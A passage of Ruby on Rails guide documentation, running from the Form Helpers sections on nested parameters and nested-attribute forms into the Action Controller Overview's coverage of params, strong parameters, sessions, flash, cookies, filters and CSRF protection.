Hashes can be nested as many levels as required, for example:

<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>

will result in the params hash being

{'person' => {'address' => {'city' => 'New York'}}}

Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:

<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>

This would result in params[:person][:phone_number] being an array containing the inputted phone numbers.

7.2 Combining Them

We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment

<input name="addresses[][line1]" type="text"/>
<input name="addresses[][line2]" type="text"/>
<input name="addresses[][city]" type="text"/>

This would result in params[:addresses] being an array of hashes with keys line1, line2 and city. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.

There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.

Array parameters do not play well with the check_box helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The check_box helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use check_box_tag or to use hashes instead of arrays.

7.3 Using Form Helpers

The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as text_field_tag Rails also provides higher level support. The two tools at your disposal here are the name parameter to form_for and fields_for and the :index option that helpers take.

You might want to render a form with a set of edit fields for each of a person's addresses. For example:

<%= form_for @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
<%= person_form.fields_for address, index: address.id do |address_form|%>
<%= address_form.text_field :city %>
<% end %>
<% end %>
<% end %>

Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:

<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_23_city" name="person[address][23][city]" type="text" />
<input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>

This will result in a params hash that looks like

{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}

Rails knows that all these inputs should be part of the person hash because you called fields_for on the first form builder. By specifying an :index option you're telling Rails that instead of naming the inputs person[address][city] it should insert that index surrounded by [] between the address and the city. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).

To create more intricate nestings, you can specify the first part of the input name (person[address] in the previous example) explicitly:

<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>

will create inputs like

<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />

As a general rule the final input name is the concatenation of the name given to fields_for/form_for, the index value and the name of the attribute. You can also pass an :index option directly to helpers such as text_field, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.

As a shortcut you can append [] to the name and omit the :index option. This is the same as specifying index: address so

<%= fields_for 'person[address][primary][]', address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>

produces exactly the same output as the previous example.

8 Forms to External Resources

Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an authenticity_token for the resource; this can be done by passing an authenticity_token: 'your_external_token' parameter to the form_tag options:

<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
Form contents
<% end %>

Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an authenticity_token. To not send a token, simply pass false to the :authenticity_token option:

<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
Form contents
<% end %>

The same technique is also available for form_for:

<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
Form contents
<% end %>

Or if you don't want to render an authenticity_token field:

<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
Form contents
<% end %>

9 Building Complex Forms

Many apps grow beyond simple forms editing a single object. For example, when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.

9.1 Configuring the Model

Active Record provides model level support via the accepts_nested_attributes_for method:

class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses
end

class Address < ApplicationRecord
belongs_to :person
end

This creates an addresses_attributes= method on Person that allows you to create, update and (optionally) destroy addresses.

9.2 Nested Forms

The following form allows a user to create a Person and its associated addresses.

<%= form_for @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>

<%= addresses_form.label :street %>
<%= addresses_form.text_field :street %>
...
</li>
<% end %>
</ul>
<% end %>

When an association accepts nested attributes fields_for renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.

def new
@person = Person.new
2.times { @person.addresses.build}
end

The fields_for yields a form builder. The parameters' name will be what accepts_nested_attributes_for expects. For example, when creating a user with 2 addresses, the submitted parameters would look like:

{
'person' => {
'name' => 'John Doe',
'addresses_attributes' => {
'0' => {
'kind' => 'Home',
'street' => '221b Baker Street'
},
'1' => {
'kind' => 'Office',
'street' => '31 Spooner Street'
}
}
}
}

The keys of the :addresses_attributes hash are unimportant, they need merely be different for each address.

If the associated object is already saved, fields_for autogenerates a hidden input with the id of the saved record. You can disable this by passing include_id: false to fields_for. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.

9.3 The Controller

As usual you need to whitelist the parameters in the controller before you pass them to the model:

def create
@person = Person.new(person_params)
# ...
end

private
def person_params
params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
end

9.4 Removing Objects

You can allow users to delete associated objects by passing allow_destroy: true to accepts_nested_attributes_for

class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses, allow_destroy: true
end

If the hash of attributes for an object contains the key _destroy with a value of 1 or true then the object will be destroyed. This form allows users to remove addresses:

<%= form_for @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
</li>
<% end %>
</ul>
<% end %>

Don't forget to update the whitelisted params in your controller to also include the _destroy field:

def person_params
params.require(:person).
permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
end

9.5 Preventing Empty Records

It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a :reject_if proc to accepts_nested_attributes_for. This proc will be called with each hash of attributes submitted by the form. If the proc returns false then Active Record will not build an associated object for that hash. The example below only tries to build an address if the kind attribute is set.

class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
end

As a convenience you can instead pass the symbol :all_blank which will create a proc that will reject records where all the attributes are blank excluding any value for _destroy.

9.6 Adding Fields on the Fly

Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.

Action Controller Overview — Ruby on...

1 What Does a Controller Do?

Action Controller is the C in MVC. After routing has determined which controller to use for a request, the controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.

For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.

A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates user data to the model.

For more details on the routing process, see Rails Routing from the Outside In.

2 Controller Naming Convention

The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. ApplicationController). For example, ClientsController is preferable to ClientController, SiteAdminsController is preferable to SiteAdminController or SitesAdminsController, and so on.

Following this convention will allow you to use the default route generators (e.g. resources, etc) without needing to qualify each :path or :controller, and will keep URL and path helpers' usage consistent throughout your application. See Layouts & Rendering Guide for more details.

The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.

3 Methods and Actions

A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.

class ClientsController < ApplicationController
def new
end
end

As an example, if a user goes to /clients/new in your application to add a new client, Rails will create an instance of ClientsController and call its new method. Note that the empty method from the example above would work just fine because Rails will by default render the new.html.erb view unless the action says otherwise. The new method could make available to the view a @client instance variable by creating a new Client:

def new
@client = Client.new
end

The Layouts & Rendering Guide explains this in more detail.

ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.

Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with private or protected) which are not intended to be actions, like auxiliary methods or filters.

4 Parameters

You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the params hash in your controller:

class ClientsController < ApplicationController
# This action uses query string parameters because it gets run
# by an HTTP GET request, but this does not make any difference
# to the way in which the parameters are accessed. The URL for
# this action would look like this in order to list activated
# clients: /clients?status=activated
def index
if params[:status] == "activated"
@clients = Client.activated
else
@clients = Client.inactivated
end
end

# This action uses POST parameters. They are most likely coming
# from an HTML form which the user has submitted. The URL for
# this RESTful request will be "/clients", and the data will be
# sent as part of the request body.
def create
@client = Client.new(params[:client])
if @client.save
redirect_to @client
else
# This line overrides the default rendering behavior, which
# would have been to render the "create" view.
render "new"
end
end
end

4.1 Hash and Array Parameters

The params hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:

GET /clients?ids[]=1&ids[]=2&ids[]=3

The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]" characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind.

The value of params[:ids] will now be ["1", "2", "3"]. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.

Values such as [nil] or [nil, nil, ...] in params are replaced with [] for security reasons by default. See Security Guide for more information.

To send a hash, you include the key name inside the brackets:

<form accept-charset="UTF-8" action="/clients" method="post">
<input type="text" name="client[name]" value="Acme" />
<input type="text" name="client[phone]" value="12345" />
<input type="text" name="client[address][postcode]" value="12345" />
<input type="text" name="client[address][city]" value="Carrot City" />
</form>

When this form is submitted, the value of params[:client] will be { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }. Note the nested hash in params[:client][:address].

The params object acts like a Hash, but lets you use symbols and strings interchangeably as keys.

4.2 JSON parameters

If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically load your parameters into the params hash, which you can access as you would normally.

So for example, if you are sending this JSON content:

{ "company": { "name": "acme", "address": "123 Carrot Street" } }

Your controller will receive params[:company] as { "name" => "acme", "address" => "123 Carrot Street" }.

Also, if you've turned on config.wrap_parameters in your initializer or called wrap_parameters in your controller, you can safely omit the root element in the JSON parameter. In this case, the parameters will be cloned and wrapped with a key chosen based on your controller's name. So the above JSON POST can be written as:

{ "name": "acme", "address": "123 Carrot Street" }

And, assuming that you're sending the data to CompaniesController, it would then be wrapped within the :company key like this:

{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }

You can customize the name of the key or specific parameters you want to wrap by consulting the API documentation

Support for parsing XML parameters has been extracted into a gem named actionpack-xml_parser.

4.3 Routing Parameters

The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the :status parameter in a "pretty" URL:

get '/clients/:status' => 'clients#index', foo: 'bar'

In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar", as if it were passed in the query string. Your controller will also receive params[:action] as "index" and params[:controller] as "clients".

4.4 default_url_options

You can set global default parameters for URL generation by defining a method called default_url_options in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:

class ApplicationController < ActionController::Base
def default_url_options
{ locale: I18n.locale }
end
end

These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to url_for calls.

If you define default_url_options in ApplicationController, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there.

In a given request, the method is not actually called for every single generated URL; for performance reasons, the returned hash is cached, there is at most one invocation per request.

4.5 Strong Parameters

With strong parameters, Action Controller parameters are forbidden to be used in Active Model mass assignments until they have been whitelisted. This means that you'll have to make a conscious decision about which attributes to allow for mass update. This is a better security practice to help prevent accidentally allowing users to update sensitive model attributes.

In addition, parameters can be marked as required and will flow through a predefined raise/rescue flow to end up as a 400 Bad Request.

class PeopleController < ActionController::Base
# This will raise an ActiveModel::ForbiddenAttributes exception
# because it's using mass assignment without an explicit permit
# step.
def create
Person.create(params[:person])
end

# This will pass with flying colors as long as there's a person key
# in the parameters, otherwise it'll raise a
# ActionController::ParameterMissing exception, which will get
# caught by ActionController::Base and turned into that 400 Bad
# Request reply.
def update
person = current_account.people.find(params[:id])
person.update!(person_params)
redirect_to person
end

private
# Using a private method to encapsulate the permissible parameters
# is just a good pattern since you'll be able to reuse the same
# permit list between create and update. Also, you can specialize
# this method with per-user checking of permissible attributes.
def person_params
params.require(:person).permit(:name, :age)
end
end

4.5.1 Permitted Scalar Values

Given

params.permit(:id)

the key :id will pass the whitelisting if it appears in params and it has a permitted scalar value associated. Otherwise, the key is going to be filtered out, so arrays, hashes, or any other objects cannot be injected.

The permitted scalar types are String, Symbol, NilClass, Numeric, TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO, ActionDispatch::Http::UploadedFile, and Rack::Test::UploadedFile.

To declare that the value in params must be an array of permitted scalar values, map the key to an empty array:

params.permit(id: [])

To whitelist an entire hash of parameters, the permit! method can be used:

params.require(:log_entry).permit!

This will mark the :log_entry parameters hash and any sub-hash of it as permitted. Extreme care should be taken when using permit!, as it will allow all current and future model attributes to be mass-assigned.

4.5.2 Nested Parameters

You can also use permit on nested parameters, like:

params.permit(:name, { emails: [] },
friends: [ :name,
{ family: [ :name ], hobbies: [] }])

This declaration whitelists the name, emails, and friends attributes. It is expected that emails will be an array of permitted scalar values, and that friends will be an array of resources with specific attributes: they should have a name attribute (any permitted scalar values allowed), a hobbies attribute as an array of permitted scalar values, and a family attribute which is restricted to having a name (any permitted scalar values allowed here, too).

4.5.3 More Examples

You may want to also use the permitted attributes in your new action. This raises the problem that you can't use require on the root key because, normally, it does not exist when calling new:

# using `fetch` you can supply a default and use
# the Strong Parameters API from there.
params.fetch(:blog, {}).permit(:title, :author)

The model class method accepts_nested_attributes_for allows you to update and destroy associated records. This is based on the id and _destroy parameters:

# permit :id and :_destroy
params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])

Hashes with integer keys are treated differently, and you can declare the attributes as if they were direct children. You get these kinds of parameters when you use accepts_nested_attributes_for in combination with a has_many association:

# To whitelist the following data:
# {"book" => {"title" => "Some Book",
#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
#                                        "2" => {"title" => "Second Chapter"}}}}

params.require(:book).permit(:title, chapters_attributes: [:title])

4.5.4 Outside the Scope of Strong Parameters

The strong parameter API was designed with the most common use cases in mind. It is not meant as a silver bullet to handle all of your whitelisting problems. However, you can easily mix the API with your own code to adapt to your situation.

Imagine a scenario where you have parameters representing a product name and a hash of arbitrary data associated with that product, and you want to whitelist the product name attribute and also the whole data hash. The strong parameters API doesn't let you directly whitelist the whole of a nested hash with any keys, but you can use the keys of your nested hash to declare what to whitelist:

def product_params
params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
end

5 Session

Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:

- ActionDispatch::Session::CookieStore - Stores everything on the client.

- ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.

- ActionDispatch::Session::ActiveRecordStore - Stores the data in a database using Active Record. (require activerecord-session_store gem).

- ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).

All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).

For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).

The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.

If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.

Read more about session storage in the Security Guide.

If you need a different session storage mechanism, you can change it in the config/initializers/session_store.rb file:

# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rails g active_record:session_migration")
# Rails.application.config.session_store :active_record_store

Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in config/initializers/session_store.rb:

# Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session'

You can also pass a :domain key and specify the domain name for the cookie:

# Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"

Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in config/secrets.yml

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rails secret` to generate a secure secret key.

# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.

development:
secret_key_base: a75d...

test:
secret_key_base: 492f...

# Do not keep production secrets in the repository,
# instead read values from the environment.
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Changing the secret when using the CookieStore will invalidate all existing sessions.

5.1 Accessing the Session

In your controller you can access the session through the session instance method.

Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.

Session values are stored using key/value pairs like a hash:

class ApplicationController < ActionController::Base

private

# Finds the User with the ID stored in the session with the key
# :current_user_id This is a common way to handle user login in
# a Rails application; logging in sets the session value and
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
User.find_by(id: session[:current_user_id])
end
end

To store something in the session, just assign it to the key like a hash:

class LoginsController < ApplicationController
# "Create" a login, aka "log the user in"
def create
if user = User.authenticate(params[:username], params[:password])
# Save the user ID in the session so it can be used in
# subsequent requests
session[:current_user_id] = user.id
redirect_to root_url
end
end
end

To remove something from the session, assign that key to be nil:

class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
# Remove the user id from the session
@_current_user = session[:current_user_id] = nil
redirect_to root_url
end
end

To reset the entire session, use reset_session.

5.2 The Flash

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.

It is accessed in much the same way as the session, as a hash (it's a FlashHash instance).

Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

class LoginsController < ApplicationController
def destroy
session[:current_user_id] = nil
flash[:notice] = "You have successfully logged out."
redirect_to root_url
end
end

Note that it is also possible to assign a flash message as part of the redirection. You can assign :notice, :alert or the general purpose :flash:

redirect_to root_url, notice: "You have successfully logged out."
redirect_to root_url, alert: "You're stuck here!"
redirect_to root_url, flash: { referral_code: 1234 }

The destroy action redirects to the application's root_url, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:

<html>
<!-- <head/> -->
<body>
<% flash.each do |name, msg| -%>
<%= content_tag :div, msg, class: name %>
<% end -%>

<!-- more content -->
</body>
</html>

This way, if an action sets a notice or an alert message, the layout will display it automatically.

You can pass anything that the session can store; you're not limited to notices and alerts:

<% if flash[:just_signed_up] %>
<p class="welcome">Welcome to our site!</p>
<% end %>

If you want a flash value to be carried over to another request, use the keep method:

class MainController < ApplicationController
# Let's say this action corresponds to root_url, but you want
# all requests here to be redirected to UsersController#index.
# If an action sets the flash and redirects here, the values
# would normally be lost when another redirect happens, but you
# can use 'keep' to make it persist for another request.
def index
# Will persist all flash values.
flash.keep

# You can also use a key to keep only some kind of value.
# flash.keep(:notice)
redirect_to users_url
end
end

5.2.1 flash.now

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource and you render the new template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:

class ClientsController < ApplicationController
def create
@client = Client.new(params[:client])
if @client.save
# ...
else
flash.now[:error] = "Could not save client"
render action: "new"
end
end
end

6 Cookies

Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the cookies method, which - much like the session - works like a hash:

class CommentsController < ApplicationController
def new
# Auto-fill the commenter's name if it has been stored in a cookie
@comment = Comment.new(author: cookies[:commenter_name])
end

def create
@comment = Comment.new(params[:comment])
if @comment.save
flash[:notice] = "Thanks for your comment!"
if params[:remember_name]
# Remember the commenter's name.
cookies[:commenter_name] = @comment.author
else
# Delete cookie for the commenter's name cookie, if any.
cookies.delete(:commenter_name)
end
redirect_to @comment.article
else
render action: "new"
end
end
end

Note that while for session values you set the key to nil, to delete a cookie value you should use cookies.delete(:key).

Rails also provides a signed cookie jar and an encrypted cookie jar for storing sensitive data. The signed cookie jar appends a cryptographic signature on the cookie values to protect their integrity. The encrypted cookie jar encrypts the values in addition to signing them, so that they cannot be read by the end user. Refer to the API documentation for more details.

These special cookie jars use a serializer to serialize the assigned values into strings and deserializes them into Ruby objects on read.

You can specify what serializer to use:

Rails.application.config.action_dispatch.cookies_serializer = :json

The default serializer for new applications is :json. For compatibility with old applications with existing cookies, :marshal is used when serializer option is not specified.

You may also set this option to :hybrid, in which case Rails would transparently deserialize existing (Marshal-serialized) cookies on read and re-write them in the JSON format. This is useful for migrating existing applications to the :json serializer.

It is also possible to pass a custom serializer that responds to load and dump:

Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer

When using the :json or :hybrid serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, Date and Time objects will be serialized as strings, and Hashes will have their keys stringified.

class CookiesController < ApplicationController
def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
redirect_to action: 'read_cookie'
end

def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and flash hash as well.

7 Rendering XML and JSON data

ActionController makes it extremely easy to render XML or JSON data. If you've generated a controller using scaffolding, it would look something like this:

class UsersController < ApplicationController
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
format.xml  { render xml: @users}
format.json { render json: @users}
end
end
end

You may notice in the above code that we're using render xml: @users, not render xml: @users.to_xml. If the object is not a String, then Rails will automatically invoke to_xml for us.

8 Filters

Filters are methods that are run "before", "after" or "around" a controller action.

Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application.

"before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:

class ApplicationController < ActionController::Base
before_action :require_login

private

def require_login
unless logged_in?
flash[:error] = "You must be logged in to access this section"
redirect_to new_login_url # halts request cycle
end
end
end

The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.

In this example the filter is added to ApplicationController and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with skip_before_action:

class LoginsController < ApplicationController
skip_before_action :require_login, only: [:new, :create]
end

Now, the LoginsController's new and create actions will work as before without requiring the user to be logged in. The :only option is used to skip this filter only for these actions, and there is also an :except option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.

8.1 After Filters and Around Filters

In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.

"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.

"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.

For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:

class ChangesController < ApplicationController
around_action :wrap_in_transaction, only: :show

private

def wrap_in_transaction
ActiveRecord::Base.transaction do
begin
yield
ensure
raise ActiveRecord::Rollback
end
end
end
end

Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.

You can choose not to yield and build the response yourself, in which case the action will not be run.

8.2 Other Ways to Use Filters

While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.

The first is to use a block directly with the *_action methods. The block receives the controller as an argument. The require_login filter from above could be rewritten to use a block:

class ApplicationController < ActionController::Base
before_action do |controller|
unless controller.send(:logged_in?)
flash[:error] = "You must be logged in to access this section"
redirect_to new_login_url
end
end
end

Note that the filter in this case uses send because the logged_in? method is private and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.

The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:

class ApplicationController < ActionController::Base
before_action LoginFilter
end

class LoginFilter
def self.before(controller)
unless controller.send(:logged_in?)
controller.flash[:error] = "You must be logged in to access this section"
controller.redirect_to controller.new_login_url
end
end
end

Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the before_action filter the class must implement a before method, and so on. The around method must yield to execute the action.

9 Request Forgery Protection

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.

The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.

The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

If you generate a form like this:

<%= form_for @user do |f| %>
<%= f.text_field :username %>
<%= f.text_field :password %>
<% end %>

You will see how the token gets added as a hidden field:

<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>
<!-- fields -->
</form>

Rails adds this token to every form that's generated using the form helpers, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method form_authenticity_token:

The form_authenticity_token generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.

The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

10 The Request and Response Objects

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of ActionDispatch::Request and the response method returns a response object representing what is going to be sent back to the client.

10.1 The request Object

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:

Property of request

Purpose

host

The hostname used for this request.

domain(n=2)

The hostname's first n segments, starting from the right (the TLD).

format

The content type requested by the client.

method

The HTTP method used for the request.

get?, post?, patch?, put?, delete?, head?

Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.

headers

Returns a hash containing the headers associated with the request.

port

The port number (integer) used for the request.

protocol

Returns a string containing the protocol used plus "://", for example "http://".

query_string

The query string part of the URL, i.e., everything after "?".

remote_ip

The IP address of the client.

url

The entire URL used for the request.

10.1.1 path_parameters, query_parameters, and request_parameters

Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

10.2 The response Object

